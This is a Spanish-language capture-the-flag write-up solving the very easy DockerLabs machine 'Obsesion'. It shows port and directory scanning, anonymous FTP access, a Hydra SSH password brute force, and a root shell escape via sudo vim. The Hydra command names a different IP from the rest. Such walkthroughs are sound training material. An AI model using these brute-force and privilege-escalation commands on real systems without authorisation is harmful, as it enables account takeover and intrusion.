Obsesion
Introducción
Sección titulada «Introducción»En este artículo, explicaré cómo resolví el CTF de la máquina virtual Obsesion. Describo paso a paso las técnicas y herramientas utilizadas para encontrar y explotar las vulnerabilidades presentes.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: Obsesion
- Autor: Juan
- Nivel de Dificultad: Muy Fácil
- Descripción: Fecha de creación: 25/06/2024
Paso 0: Instalación/Despliegue
Sección titulada «Paso 0: Instalación/Despliegue»- Descargamos la máquina desde la web de DockerLabs.
- Descomprimimos el archivo
.zipconunzip Obsesion.zip. - Ejecutamos el script de despliegue con
sudo bash auto_deplo.sh Obsesion.tar.
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Escaneo de la Red
Sección titulada «Escaneo de la Red»Al desplegar la máquina, se muestra automáticamente su IP, por lo que no es necesario hacer un escaneo ARP.

Creamos una carpeta para organizar el contenido y utilizamos la función mkt que genera subdirectorios: content, exploits, nmap y scripts.
mkdir Obsesioncd ObsesionmktEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Ejecutamos un escaneo completo de puertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos abiertos:
extractPorts allPorts
Ahora escaneamos servicios en los puertos identificados:
nmap -sCV -p21,22,80 172.17.0.2 -oN targeted
Enumeración de Servicios
Sección titulada «Enumeración de Servicios»Usamos Gobuster para encontrar recursos web:
gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,txt -t 200Resultado:

Se descubren dos directorios interesantes: backup e important, que contienen archivos descargables.
-
Important

-
Backup

Dado que el puerto 21 (FTP) está abierto y permite acceso anónimo, intentamos conectarnos:
ftp 172.17.0.2Ingresamos como usuario anonymous y sin contraseña.

Descargamos los archivos chat-gonza y pendientes para analizarlos:
-
Pendientes

-
Chat-gonza

Paso 2: Explotación
Sección titulada «Paso 2: Explotación»Entre los archivos se encuentran referencias a posibles usuarios, y gracias a los textos accedidos, deducimos que russoski es el usuario válido.
Realizamos un ataque de fuerza bruta con Hydra para obtener su contraseña SSH:
hydra -l russoski -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2 -t 4Hydra encuentra las credenciales correctas. Nos conectamos vía SSH:

Elevación de Privilegios
Sección titulada «Elevación de Privilegios»Ejecutamos:
sudo -l
El usuario russoski puede ejecutar vim como root. Consultamos GTFOBins con:
searchbins -b vim -f sudoEjecutamos el siguiente comando para obtener una shell con privilegios de administrador:
sudo vim -c ':! /bin/sh'¡Acceso root obtenido!

- La máquina tuvo el nivel de dificultad esperado: muy fácil.